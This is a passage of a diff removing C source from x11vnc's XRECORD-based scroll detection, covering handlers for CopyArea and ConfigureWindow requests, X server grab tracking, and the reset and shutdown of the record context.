- valid = valid_window(src, &attr, 1);
-
- if (valid) {
- if (!xtranslate(src, rootwin, 0, 0, &rx, &ry, &c, 1)) {
- valid = 0;
- }
- }
- if (next_index >= 0) {
- i = next_index;
- scr_attr_cache[i].win = src;
- scr_attr_cache[i].fetched = 1;
- scr_attr_cache[i].valid = valid;
- scr_attr_cache[i].time = dnow();
- if (valid) {
- scr_attr_cache[i].x = attr.x;
- scr_attr_cache[i].y = attr.y;
- scr_attr_cache[i].width = attr.width;
- scr_attr_cache[i].height = attr.height;
- scr_attr_cache[i].border_width = attr.border_width;
- scr_attr_cache[i].depth = attr.depth;
- scr_attr_cache[i].class = attr.class;
- scr_attr_cache[i].backing_store =
- attr.backing_store;
- scr_attr_cache[i].map_state = attr.map_state;
-
- scr_attr_cache[i].rx = rx;
- scr_attr_cache[i].ry = ry;
- }
- }
- }
-
- if (! valid) {
- if (db > 1) fprintf(stderr, "record_CA not valid-1.\n");
- return;
- }
-if (db > 1) fprintf(stderr, "record_CA-%d\n", k++);
-
- if (attr.map_state != IsViewable) {
- if (db > 1) fprintf(stderr, "record_CA not viewable-1.\n");
- return;
- }
-
- /* recent gdk/gtk windows use different src and dst. for compositing? */
- if (src != dst) {
- if (lookup_attr_cache(dst, &cache_index, &next_index)) {
- i = cache_index;
- attr2.x = scr_attr_cache[i].x;
- attr2.y = scr_attr_cache[i].y;
- attr2.width = scr_attr_cache[i].width;
- attr2.height = scr_attr_cache[i].height;
- attr2.map_state = scr_attr_cache[i].map_state;
- rx2 = scr_attr_cache[i].rx;
- ry2 = scr_attr_cache[i].ry;
- valid = scr_attr_cache[i].valid;
-
- } else {
- valid = valid_window(dst, &attr2, 1);
-
- if (valid) {
- if (!xtranslate(dst, rootwin, 0, 0, &rx2, &ry2, &c, 1)) {
- valid = 0;
- }
- }
- if (next_index >= 0) {
- i = next_index;
- scr_attr_cache[i].win = dst;
- scr_attr_cache[i].fetched = 1;
- scr_attr_cache[i].valid = valid;
- scr_attr_cache[i].time = dnow();
- if (valid) {
- scr_attr_cache[i].x = attr2.x;
- scr_attr_cache[i].y = attr2.y;
- scr_attr_cache[i].width = attr2.width;
- scr_attr_cache[i].height = attr2.height;
- scr_attr_cache[i].border_width = attr2.border_width;
- scr_attr_cache[i].depth = attr2.depth;
- scr_attr_cache[i].class = attr2.class;
- scr_attr_cache[i].backing_store =
- attr2.backing_store;
- scr_attr_cache[i].map_state = attr2.map_state;
-
- scr_attr_cache[i].rx = rx2;
- scr_attr_cache[i].ry = ry2;
- }
- }
- }
-
-if (dba || db > 1) fprintf(stderr, "record_CA-? src_x: %d src_y: %d "
- "dst_x: %d dst_y: %d w: %d h: %d scr_ev_cnt: %d 0x%lx/0x%lx\n",
- src_x, src_y, dst_x, dst_y, w, h, scr_ev_cnt, src, dst);
-
- if (! valid) {
- if (db > 1) fprintf(stderr, "record_CA not valid-2.\n");
- return;
- }
- if (attr2.map_state != IsViewable) {
- if (db > 1) fprintf(stderr, "record_CA not viewable-2.\n");
- return;
- }
- dst_x = dst_x - (rx - rx2);
- dst_y = dst_y - (ry - ry2);
-
- dx = dst_x - src_x;
- dy = dst_y - src_y;
-
- if (dx != 0 && dy != 0) {
- return;
- }
- }
-
-
- if (0 || dba || db) {
- double st, dt;
- st = (double) rec_data->server_time/1000.0;
- dt = (dnow() - servertime_diff) - st;
- fprintf(stderr, "record_CA-%d *FOUND_SCROLL: src: 0x%lx dx: %d dy: %d "
- "x: %d y: %d w: %d h: %d st: %.4f %.4f %.4f\n", k++, src, dx, dy,
- src_x, src_y, w, h, st, dt, dnowx());
- }
-
- i = scr_ev_cnt;
-
- scr_ev[i].win = src;
- scr_ev[i].frame = None;
- scr_ev[i].dx = dx;
- scr_ev[i].dy = dy;
- scr_ev[i].x = rx + dst_x;
- scr_ev[i].y = ry + dst_y;
- scr_ev[i].w = w;
- scr_ev[i].h = h;
- scr_ev[i].t = ((double) rec_data->server_time)/1000.0;
- scr_ev[i].win_x = rx;
- scr_ev[i].win_y = ry;
- scr_ev[i].win_w = attr.width;
- scr_ev[i].win_h = attr.height;
- scr_ev[i].new_x = 0;
- scr_ev[i].new_y = 0;
- scr_ev[i].new_w = 0;
- scr_ev[i].new_h = 0;
-
- if (dx == 0) {
- if (dy > 0) {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = ry + src_y;
- scr_ev[i].new_w = w;
- scr_ev[i].new_h = dy;
- } else {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = ry + dst_y + h;
- scr_ev[i].new_w = w;
- scr_ev[i].new_h = -dy;
- }
- } else if (dy == 0) {
- if (dx > 0) {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = rx + src_y;
- scr_ev[i].new_w = dx;
- scr_ev[i].new_h = h;
- } else {
- scr_ev[i].new_x = rx + dst_x + w;
- scr_ev[i].new_y = ry + src_y;
- scr_ev[i].new_w = -dx;
- scr_ev[i].new_h = h;
- }
- }
-
- scr_ev_cnt++;
-}
-
-typedef struct cw_event {
- Window win;
- int x, y, w, h;
-} cw_event_t;
-
-#define MAX_CW 128
-static cw_event_t cw_events[MAX_CW];
-
-static void record_CW(XPointer ptr, XRecordInterceptData *rec_data) {
- xConfigureWindowReq *req;
- Window win = None, c;
- Window src = None, dst = None;
- XWindowAttributes attr;
- int absent = 0x100000;
- int src_x, src_y, dst_x, dst_y, rx, ry;
- int good = 1, dx, dy, k=0, i, j, match, list[3];
- int f_x, f_y, f_w, f_h;
- int x, y, w, h;
- int x0, y0, w0, h0, x1, y1, w1, h1, x2, y2, w2, h2;
- static int index = 0;
- unsigned int vals[4];
- unsigned tmask;
- char *data;
- int dba = 0, db = debug_scroll;
- int cache_index, next_index, valid;
-
- if (db) {
- if (rec_data->category == XRecordFromClient) {
- req = (xConfigureWindowReq *) rec_data->data;
- if (req->reqType == X_ConfigureWindow) {
- src = req->window;
- }
- }
- }
-
-if (dba || db > 1) fprintf(stderr, "record_CW-%d id_base: 0x%lx ptr: 0x%lx "
- "seq: 0x%lx rc: 0x%lx cat: %d swapped: %d 0x%lx/0x%lx\n", k++,
- rec_data->id_base, (unsigned long) ptr, xrecord_seq, rc_scroll,
- rec_data->category, rec_data->client_swapped, src, dst);
-
-
- if (! xrecording) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if ((XID) ptr != xrecord_seq) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (rec_data->id_base == 0) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (rec_data->category == XRecordStartOfData) {
- index = 0;
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (rec_data->category != XRecordFromClient) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (rec_data->client_swapped) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- req = (xConfigureWindowReq *) rec_data->data;
-
- if (req->reqType != X_ConfigureWindow) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- tmask = req->mask;
-
- tmask &= ~CWX;
- tmask &= ~CWY;
- tmask &= ~CWWidth;
- tmask &= ~CWHeight;
-
- if (tmask) {
- /* require no more than these 4 flags */
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- f_x = req->mask & CWX;
- f_y = req->mask & CWY;
- f_w = req->mask & CWWidth;
- f_h = req->mask & CWHeight;
-
- if (! f_x || ! f_y) {
- if (f_w && f_h) {
- ; /* netscape 4.x style */
- } else {
- return;
- }
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if ( (f_w && !f_h) || (!f_w && f_h) ) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- for (i=0; i<4; i++) {
- vals[i] = 0;
- }
-
- data = (char *)req;
- data += sz_xConfigureWindowReq;
-
- for (i=0; i<req->length; i++) {
- unsigned int v;
- /*
- * We use unsigned int for the values. There were
- * some crashes on 64bit machines with unsigned longs.
- * Need to check that X protocol sends 32bit values.
- */
- v = *( (unsigned int *) data);
-if (db > 1) fprintf(stderr, " vals[%d] 0x%x/%d\n", i, v, v);
- vals[i] = v;
- data += sizeof(unsigned int);
- }
-
- if (index >= MAX_CW) {
- int i, j;
-
- /* FIXME, circular, etc. */
- for (i=0; i<2; i++) {
- j = MAX_CW - 2 + i;
- cw_events[i].win = cw_events[j].win;
- cw_events[i].x = cw_events[j].x;
- cw_events[i].y = cw_events[j].y;
- cw_events[i].w = cw_events[j].w;
- cw_events[i].h = cw_events[j].h;
- }
- index = 2;
- }
-
- if (! f_x && ! f_y) {
- /* netscape 4.x style CWWidth,CWHeight */
- vals[2] = vals[0];
- vals[3] = vals[1];
- vals[0] = 0;
- vals[1] = 0;
- }
-
- cw_events[index].win = req->window;
-
- if (! f_x) {
- cw_events[index].x = absent;
- } else {
- cw_events[index].x = (int) vals[0];
- }
- if (! f_y) {
- cw_events[index].y = absent;
- } else {
- cw_events[index].y = (int) vals[1];
- }
-
- if (! f_w) {
- cw_events[index].w = absent;
- } else {
- cw_events[index].w = (int) vals[2];
- }
- if (! f_h) {
- cw_events[index].h = absent;
- } else {
- cw_events[index].h = (int) vals[3];
- }
-
- x = cw_events[index].x;
- y = cw_events[index].y;
- w = cw_events[index].w;
- h = cw_events[index].h;
- win = cw_events[index].win;
-
-if (dba || db) fprintf(stderr, " record_CW ind: %d win: 0x%lx x: %d y: %d w: %d h: %d\n",
- index, win, x, y, w, h);
-
- index++;
-
- if (index < 3) {
- good = 0;
- } else if (w != absent && h != absent &&
- w*h < scrollcopyrect_min_area) {
- good = 0;
- }
-
- if (! good) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- match = 0;
- for (j=index - 1; j >= 0; j--) {
- if (cw_events[j].win == win) {
- list[match++] = j;
- }
- if (match >= 3) {
- break;
- }
- }
-
- if (match != 3) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
-/*
-
-Mozilla:
-
-Up arrow: window moves down a bit (dy > 0):
-
- X_ConfigureWindow
- length: 7, window: 0x2e000cd, mask: 0xf, v0 0, v1 -18, v2 760, v3 906, v4 327692, v5 48234701, v6 3,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
- X_ConfigureWindow
- length: 5, window: 0x2e000cd, mask: 0x3, v0 0, v1 0, v2 506636, v3 48234701, v4 48234511,
- CW-mask: CWX,CWY,
- X_ConfigureWindow
- length: 7, window: 0x2e000cd, mask: 0xf, v0 0, v1 0, v2 760, v3 888, v4 65579, v5 0, v6 108009,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
-
-Down arrow: window moves up a bit (dy < 0):
-
- X_ConfigureWindow
- length: 7, window: 0x2e000cd, mask: 0xf, v0 0, v1 0, v2 760, v3 906, v4 327692, v5 48234701, v6 262147,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
- X_ConfigureWindow
- length: 5, window: 0x2e000cd, mask: 0x3, v0 0, v1 -18, v2 506636, v3 48234701, v4 48234511,
- CW-mask: CWX,CWY,
- X_ConfigureWindow
- length: 7, window: 0x2e000cd, mask: 0xf, v0 0, v1 0, v2 760, v3 888, v4 96555, v5 48265642, v6 48265262,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
-
-
-Netscape 4.x
-
-Up arrow:
-71.76142 0.01984 X_ConfigureWindow
- length: 7, window: 0x9800488, mask: 0xf, v0 0, v1 -15, v2 785, v3 882, v4 327692, v5 159384712, v6 1769484,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
-71.76153 0.00011 X_ConfigureWindow
- length: 5, window: 0x9800488, mask: 0xc, v0 785, v1 867, v2 329228, v3 159384712, v4 159383555,
- CW-mask: CWWidth,CWHeight,
- XXX,XXX
-71.76157 0.00003 X_ConfigureWindow
- length: 5, window: 0x9800488, mask: 0x3, v0 0, v1 0, v2 131132, v3 159385313, v4 328759,
- CW-mask: CWX,CWY,
- XXX,XXX
-
-Down arrow:
-72.93147 0.01990 X_ConfigureWindow
- length: 5, window: 0x9800488, mask: 0xc, v0 785, v1 882, v2 328972, v3 159384712, v4 159383555,
- CW-mask: CWWidth,CWHeight,
- XXX,XXX
-72.93156 0.00009 X_ConfigureWindow
- length: 5, window: 0x9800488, mask: 0x3, v0 0, v1 -15, v2 458764, v3 159384712, v4 159383567,
- CW-mask: CWX,CWY,
-72.93160 0.00004 X_ConfigureWindow
- length: 7, window: 0x9800488, mask: 0xf, v0 0, v1 0, v2 785, v3 867, v4 131132, v5 159385335, v6 328759,
- CW-mask: CWX,CWY,CWWidth,CWHeight,
-
-
-sadly, probably need to handle some more...
-
- */
- x0 = cw_events[list[2]].x;
- y0 = cw_events[list[2]].y;
- w0 = cw_events[list[2]].w;
- h0 = cw_events[list[2]].h;
-
- x1 = cw_events[list[1]].x;
- y1 = cw_events[list[1]].y;
- w1 = cw_events[list[1]].w;
- h1 = cw_events[list[1]].h;
-
- x2 = cw_events[list[0]].x;
- y2 = cw_events[list[0]].y;
- w2 = cw_events[list[0]].w;
- h2 = cw_events[list[0]].h;
-
- /* see NS4 XXX's above: */
- if (w2 == absent || h2 == absent) {
- /* up arrow */
- if (w2 == absent) {
- w2 = w1;
- }
- if (h2 == absent) {
- h2 = h1;
- }
- }
- if (x1 == absent || y1 == absent) {
- /* up arrow */
- if (x1 == absent) {
- x1 = x2;
- }
- if (y1 == absent) {
- y1 = y2;
- }
- }
- if (x0 == absent || y0 == absent) {
- /* down arrow */
- if (x0 == absent) {
- /* hmmm... what to do */
- x0 = x2;
- }
- if (y0 == absent) {
- y0 = y2;
- }
- }
-
-if (dba) fprintf(stderr, "%d/%d/%d/%d %d/%d/%d/%d %d/%d/%d/%d\n", x0, y0, w0, h0, x1, y1, w1, h1, x2, y2, w2, h2);
-
- dy = y1 - y0;
- dx = x1 - x0;
-
- src_x = x2;
- src_y = y2;
- w = w2;
- h = h2;
-
- /* check w and h before we modify them */
- if (w <= 0 || h <= 0) {
- good = 0;
- } else if (w == absent || h == absent) {
- good = 0;
- }
- if (! good) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (dy > 0) {
- h -= dy;
- } else {
- h += dy;
- src_y -= dy;
- }
- if (dx > 0) {
- w -= dx;
- } else {
- w += dx;
- src_x -= dx;
- }
-
- dst_x = src_x + dx;
- dst_y = src_y + dy;
-
- if (x0 == absent || x1 == absent || x2 == absent) {
- good = 0;
- } else if (y0 == absent || y1 == absent || y2 == absent) {
- good = 0;
- } else if (dx != 0 && dy != 0) {
- good = 0;
- } else if (w0 - w2 != nabs(dx)) {
- good = 0;
- } else if (h0 - h2 != nabs(dy)) {
- good = 0;
- } else if (scr_ev_cnt >= SCR_EV_MAX) {
- good = 0;
- }
-
- if (! good) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- /*
- * geometry OK.
- * after all of the above succeeds, now contact X server.
- */
- if (lookup_attr_cache(win, &cache_index, &next_index)) {
- i = cache_index;
- attr.x = scr_attr_cache[i].x;
- attr.y = scr_attr_cache[i].y;
- attr.width = scr_attr_cache[i].width;
- attr.height = scr_attr_cache[i].height;
- attr.map_state = scr_attr_cache[i].map_state;
- rx = scr_attr_cache[i].rx;
- ry = scr_attr_cache[i].ry;
- valid = scr_attr_cache[i].valid;
-
-if (0) fprintf(stderr, "lookup_attr_cache hit: %2d %2d 0x%lx %d\n",
- cache_index, next_index, win, valid);
-
- } else {
- valid = valid_window(win, &attr, 1);
-
-if (0) fprintf(stderr, "lookup_attr_cache MISS: %2d %2d 0x%lx %d\n",
- cache_index, next_index, win, valid);
-
- if (valid) {
- if (!xtranslate(win, rootwin, 0, 0, &rx, &ry, &c, 1)) {
- valid = 0;
- }
- }
- if (next_index >= 0) {
- i = next_index;
- scr_attr_cache[i].win = win;
- scr_attr_cache[i].fetched = 1;
- scr_attr_cache[i].valid = valid;
- scr_attr_cache[i].time = dnow();
- if (valid) {
- scr_attr_cache[i].x = attr.x;
- scr_attr_cache[i].y = attr.y;
- scr_attr_cache[i].width = attr.width;
- scr_attr_cache[i].height = attr.height;
- scr_attr_cache[i].depth = attr.depth;
- scr_attr_cache[i].class = attr.class;
- scr_attr_cache[i].backing_store =
- attr.backing_store;
- scr_attr_cache[i].map_state = attr.map_state;
-
- scr_attr_cache[i].rx = rx;
- scr_attr_cache[i].ry = ry;
- }
- }
- }
-
- if (! valid) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (attr.map_state != IsViewable) {
- return;
- }
-if (db > 1) fprintf(stderr, "record_CW-%d\n", k++);
-
- if (0 || dba || db) {
- double st, dt;
- st = (double) rec_data->server_time/1000.0;
- dt = (dnow() - servertime_diff) - st;
- fprintf(stderr, "record_CW-%d *FOUND_SCROLL: win: 0x%lx dx: %d dy: %d "
- "x: %d y: %d w: %d h: %d st: %.4f dt: %.4f %.4f\n", k++, win,
- dx, dy, src_x, src_y, w, h, st, dt, dnowx());
- }
-
- i = scr_ev_cnt;
-
- scr_ev[i].win = win;
- scr_ev[i].frame = None;
- scr_ev[i].dx = dx;
- scr_ev[i].dy = dy;
- scr_ev[i].x = rx + dst_x;
- scr_ev[i].y = ry + dst_y;
- scr_ev[i].w = w;
- scr_ev[i].h = h;
- scr_ev[i].t = ((double) rec_data->server_time)/1000.0;
- scr_ev[i].win_x = rx;
- scr_ev[i].win_y = ry;
- scr_ev[i].win_w = attr.width;
- scr_ev[i].win_h = attr.height;
- scr_ev[i].new_x = 0;
- scr_ev[i].new_y = 0;
- scr_ev[i].new_w = 0;
- scr_ev[i].new_h = 0;
-
- if (dx == 0) {
- if (dy > 0) {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = ry + src_y;
- scr_ev[i].new_w = w;
- scr_ev[i].new_h = dy;
- } else {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = ry + dst_y + h;
- scr_ev[i].new_w = w;
- scr_ev[i].new_h = -dy;
- }
- } else if (dy == 0) {
- if (dx > 0) {
- scr_ev[i].new_x = rx + src_x;
- scr_ev[i].new_y = rx + src_y;
- scr_ev[i].new_w = dx;
- scr_ev[i].new_h = h;
- } else {
- scr_ev[i].new_x = rx + dst_x + w;
- scr_ev[i].new_y = ry + src_y;
- scr_ev[i].new_w = -dx;
- scr_ev[i].new_h = h;
- }
- }
-
- /* indicate we have a new one */
- scr_ev_cnt++;
-
- index = 0;
-}
-
-static void record_switch(XPointer ptr, XRecordInterceptData *rec_data) {
- static int first = 1;
- xReq *req;
-
- if (first) {
- int i;
- for (i=0; i<SCR_ATTR_CACHE; i++) {
- scr_attr_cache[i].win = None;
- scr_attr_cache[i].fetched = 0;
- scr_attr_cache[i].valid = 0;
- scr_attr_cache[i].time = 0.0;
- }
- first = 0;
- }
-
- /* should handle control msgs, start/stop/etc */
- if (rec_data->category == XRecordStartOfData) {
- record_CW(ptr, rec_data);
- } else if (rec_data->category == XRecordEndOfData) {
- ;
- } else if (rec_data->category == XRecordClientStarted) {
- ;
- } else if (rec_data->category == XRecordClientDied) {
- ;
- } else if (rec_data->category == XRecordFromServer) {
- ;
- }
-
- if (rec_data->category != XRecordFromClient) {
- XRecordFreeData(rec_data);
- return;
- }
-
- req = (xReq *) rec_data->data;
-
- if (req->reqType == X_CopyArea) {
- record_CA(ptr, rec_data);
- } else if (req->reqType == X_ConfigureWindow) {
- record_CW(ptr, rec_data);
- } else {
- ;
- }
- XRecordFreeData(rec_data);
-}
-
-static void record_grab(XPointer ptr, XRecordInterceptData *rec_data) {
- xReq *req;
- int db = 0;
-
- if (debug_grabs) db = 1;
-
- /* should handle control msgs, start/stop/etc */
- if (rec_data->category == XRecordStartOfData) {
- ;
- } else if (rec_data->category == XRecordEndOfData) {
- ;
- } else if (rec_data->category == XRecordClientStarted) {
- ;
- } else if (rec_data->category == XRecordClientDied) {
- ;
- } else if (rec_data->category == XRecordFromServer) {
- ;
- }
-
- if (rec_data->category != XRecordFromClient) {
- XRecordFreeData(rec_data);
- return;
- }
-
- req = (xReq *) rec_data->data;
-
- if (req->reqType == X_GrabServer) {
- double now = dnowx();
- xserver_grabbed++;
- if (db) rfbLog("X server Grabbed: %d %.5f\n", xserver_grabbed, now);
- if (xserver_grabbed > 1) {
- /*
- * some apps do multiple grabs... very unlikely
- * two apps will be doing it at same time.
- */
- xserver_grabbed = 1;
- }
- } else if (req->reqType == X_UngrabServer) {
- double now = dnowx();
- xserver_grabbed--;
- if (xserver_grabbed < 0) {
- xserver_grabbed = 0;
- }
- if (db) rfbLog("X server Un-Grabbed: %d %.5f\n", xserver_grabbed, now);
- } else {
- ;
- }
- XRecordFreeData(rec_data);
-
- /* unused vars warning: */
- if (ptr) {}
-}
-#endif
-
-static void check_xrecord_grabserver(void) {
-#if LIBVNCSERVER_HAVE_RECORD
- int last_val, cnt = 0, i, max = 10;
- double d;
- if (!gdpy_ctrl || !gdpy_data) {
- return;
- }
- if (unixpw_in_progress) return;
-
- dtime0(&d);
- XFlush_wr(gdpy_ctrl);
- for (i=0; i<max; i++) {
- last_val = xserver_grabbed;
- XRecordProcessReplies(gdpy_data);
- if (xserver_grabbed != last_val) {
- cnt++;
- } else if (i > 2) {
- break;
- }
- }
- if (cnt) {
- XFlush_wr(gdpy_ctrl);
- }
- if (debug_grabs && cnt > 0) {
- d = dtime(&d);
-fprintf(stderr, "check_xrecord_grabserver: cnt=%d i=%d %.4f\n", cnt, i, d);
- }
-#endif
-}
-
-#if LIBVNCSERVER_HAVE_RECORD
-static void shutdown_record_context(XRecordContext rc, int bequiet, int reopen) {
- int ret1, ret2;
- int verb = (!bequiet && !quiet);
-
- RAWFB_RET_VOID
- if (0 || debug_scroll) {
- rfbLog("shutdown_record_context(0x%lx, %d, %d)\n", rc,
- bequiet, reopen);
- verb = 1;
- }
-
- ret1 = XRecordDisableContext(rdpy_ctrl, rc);
- if (!ret1 && verb) {
- rfbLog("XRecordDisableContext(0x%lx) failed.\n", rc);
- }
- ret2 = XRecordFreeContext(rdpy_ctrl, rc);
- if (!ret2 && verb) {
- rfbLog("XRecordFreeContext(0x%lx) failed.\n", rc);
- }
- XFlush_wr(rdpy_ctrl);
-
- if (reopen == 2 && ret1 && ret2) {
- reopen = 0; /* 2 means reopen only on failure */
- }
- if (reopen && gdpy_ctrl) {
- check_xrecord_grabserver();
- if (xserver_grabbed) {
- rfbLog("shutdown_record_context: skip reopen,"
- " server grabbed\n");
- reopen = 0;
- }
- }
- if (reopen) {
- char *dpystr = DisplayString(dpy);
-
- if (debug_scroll) {
- rfbLog("closing RECORD data connection.\n");
- }
- XCloseDisplay_wr(rdpy_data);
- rdpy_data = NULL;
-
- if (debug_scroll) {
- rfbLog("closing RECORD control connection.\n");
- }
- XCloseDisplay_wr(rdpy_ctrl);
- rdpy_ctrl = NULL;
-
- rdpy_ctrl = XOpenDisplay_wr(dpystr);
-
- if (! rdpy_ctrl) {
- rfbLog("Failed to reopen RECORD control connection:"
- "%s\n", dpystr);
- rfbLog(" disabling RECORD scroll detection.\n");
- use_xrecord = 0;
- return;
- }
- XSync(dpy, False);
-
- disable_grabserver(rdpy_ctrl, 0);
- XSync(rdpy_ctrl, True);
-
- rdpy_data = XOpenDisplay_wr(dpystr);
-
- if (! rdpy_data) {
- rfbLog("Failed to reopen RECORD data connection:"
- "%s\n", dpystr);
- rfbLog(" disabling RECORD scroll detection.\n");
- XCloseDisplay_wr(rdpy_ctrl);
- rdpy_ctrl = NULL;
- use_xrecord = 0;
- return;
- }
- disable_grabserver(rdpy_data, 0);
-
- if (debug_scroll || (! bequiet && reopen == 2)) {
- rfbLog("reopened RECORD data and control display"
- " connections: %s\n", dpystr);
- }
- }
-}
-#endif
-
-void check_xrecord_reset(int force) {
- static double last_reset = 0.0;
- int reset_time = 60, require_idle = 10;
- int reset_time2 = 600, require_idle2 = 40;
- double now = 0.0;
- XErrorHandler old_handler = NULL;
-
- if (gdpy_ctrl) {
- X_LOCK;
- check_xrecord_grabserver();
- X_UNLOCK;
- } else {
- /* more dicey if not watching grabserver */
- reset_time = reset_time2;
- require_idle = require_idle2;
- }
-
- if (!use_xrecord) {
- return;
- }
- if (xrecording) {
- return;
- }
- if (button_mask) {
- return;
- }
- if (xserver_grabbed) {
- return;
- }
-
- if (unixpw_in_progress) return;
-
-#if LIBVNCSERVER_HAVE_RECORD
- if (! rc_scroll) {
- return;
- }
- now = dnow();
- if (last_reset == 0.0) {
- last_reset = now;
- return;
- }
- /*
- * try to wait for a break in input to reopen the displays
- * this is only to avoid XGrabServer deadlock on the repopens.
- */
- if (force) {
- ;
- } else if (now < last_reset + reset_time) {
- return;
- } else if (now < last_pointer_click_time + require_idle) {
- return;
- } else if (now < last_keyboard_time + require_idle) {
- return;
- }
- X_LOCK;
- trapped_record_xerror = 0;
- old_handler = XSetErrorHandler(trap_record_xerror);
-
- /* unlikely, but check again since we will definitely be doing it. */
- if (gdpy_ctrl) {
- check_xrecord_grabserver();
- if (xserver_grabbed) {
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- return;
- }
- }
-
- shutdown_record_context(rc_scroll, 0, 1);
- rc_scroll = 0;
-
- XSetErrorHandler(old_handler);
- X_UNLOCK;
-
- last_reset = now;
-#else
- if (!old_handler || now == 0.0 || !last_reset || !force) {}
-#endif
-}
-
-#define RECORD_ERROR_MSG(tag) \
- if (! quiet) { \
- static int cnt = 0; \
- static time_t last = 0; \
- int show = 0; \
- cnt++; \
- if (debug_scroll || cnt < 20) { \
- show = 1; \
- } else if (cnt == 20) { \
- last = time(NULL); \
- rfbLog("disabling RECORD XError messages for 600s\n"); \
- show = 1; \
- } else if (time(NULL) > last + 600) { \
- cnt = 0; \
- show = 1; \
- } \
- if (show) { \
- rfbLog("trapped RECORD XError: %s %s %d/%d/%d (0x%lx)\n", \
- tag, xerror_string(trapped_record_xerror_event), \
- (int) trapped_record_xerror_event->error_code, \
- (int) trapped_record_xerror_event->request_code, \
- (int) trapped_record_xerror_event->minor_code, \
- (int) trapped_record_xerror_event->resourceid); \
- } \
- }
-
-void xrecord_watch(int start, int setby) {
-#if LIBVNCSERVER_HAVE_RECORD
- Window focus, wm, c, clast;
- static double create_time = 0.0;
- int rc;
- int do_shutdown = 0;
- int reopen_dpys = 1;
- XErrorHandler old_handler = NULL;
- static Window last_win = None, last_result = None;
-#endif
- int db = debug_scroll;
- double now;
- static double last_error = 0.0;
-
-if (0) db = 1;
-
- if (nofb) {
- xrecording = 0;
- return;
- }
- if (use_threads) {
- /* XXX not working. Still? Painting errors. */
- static int first = 1;
- if (first) {
- if (use_xrecord && !getenv("XRECORD_THREADS")) {
- rfbLog("xrecord_watch: disabling scroll detection in -threads mode.\n");
- rfbLog("xrecord_watch: Set -env XRECORD_THREADS=1 to enable it.\n");
- use_xrecord = 0;
- xrecording = 0;
- }
- first = 0;
- }
- if (!use_xrecord && !xrecording) {
- return;
- }
- }
-
- dtime0(&now);
- if (now < last_error + 0.5) {
- return;
- }
-
- if (gdpy_ctrl) {
- X_LOCK;
- check_xrecord_grabserver();
- X_UNLOCK;
- if (xserver_grabbed) {
-if (db || debug_grabs) fprintf(stderr, "xrecord_watch: %d/%d out xserver_grabbed\n", start, setby);
- return;
- }
- }
-
-#if LIBVNCSERVER_HAVE_RECORD
- if (! start) {
- int shut_reopen = 2, shut_time = 25;
-if (db || debug_grabs) fprintf(stderr, "XRECORD OFF: %d/%d %.4f\n", xrecording, setby, now - x11vnc_start);
- xrecording = 0;
- if (! rc_scroll) {
- xrecord_focus_window = None;
- xrecord_wm_window = None;
- xrecord_ptr_window = None;
- xrecord_keysym = NoSymbol;
- rcs_scroll = 0;
- return;
- }
-
- if (! do_shutdown && now > create_time + shut_time) {
- /* XXX unstable if we keep a RECORD going forever */
- do_shutdown = 1;
- }
-
- SCR_LOCK;
-
- if (do_shutdown) {
-if (db > 1) fprintf(stderr, "=== shutdown-scroll 0x%lx\n", rc_scroll);
- X_LOCK;
- trapped_record_xerror = 0;
- old_handler = XSetErrorHandler(trap_record_xerror);
-
- shutdown_record_context(rc_scroll, 0, shut_reopen);
- rc_scroll = 0;
-
- /*
- * n.b. there is a grabserver issue wrt
- * XRecordCreateContext() even though rdpy_ctrl
- * is set imprevious to grabs. Perhaps a bug
- * in the X server or library...
- *
- * If there are further problems, a thought
- * to recreate rc_scroll right after the
- * reopen.
- */
-
- if (! use_xrecord) {
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
- return;
- }
-
- XRecordProcessReplies(rdpy_data);
-
- if (trapped_record_xerror) {
- RECORD_ERROR_MSG("shutdown");
- last_error = now;
- }
-
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
-
- } else {
- if (rcs_scroll) {
-if (db > 1) fprintf(stderr, "=== disab-scroll 0x%lx 0x%lx\n", rc_scroll, rcs_scroll);
- X_LOCK;
- trapped_record_xerror = 0;
- old_handler =
- XSetErrorHandler(trap_record_xerror);
-
- rcs_scroll = XRecordCurrentClients;
- XRecordUnregisterClients(rdpy_ctrl, rc_scroll,
- &rcs_scroll, 1);
- XRecordDisableContext(rdpy_ctrl, rc_scroll);
- XFlush_wr(rdpy_ctrl);
- XRecordProcessReplies(rdpy_data);
-
- if (trapped_record_xerror) {
- RECORD_ERROR_MSG("disable");
-
- shutdown_record_context(rc_scroll,
- 0, reopen_dpys);
- rc_scroll = 0;
-
- last_error = now;
-
- if (! use_xrecord) {
- XSetErrorHandler(old_handler);
- X_UNLOCK;
- SCR_UNLOCK;
- return;
- }
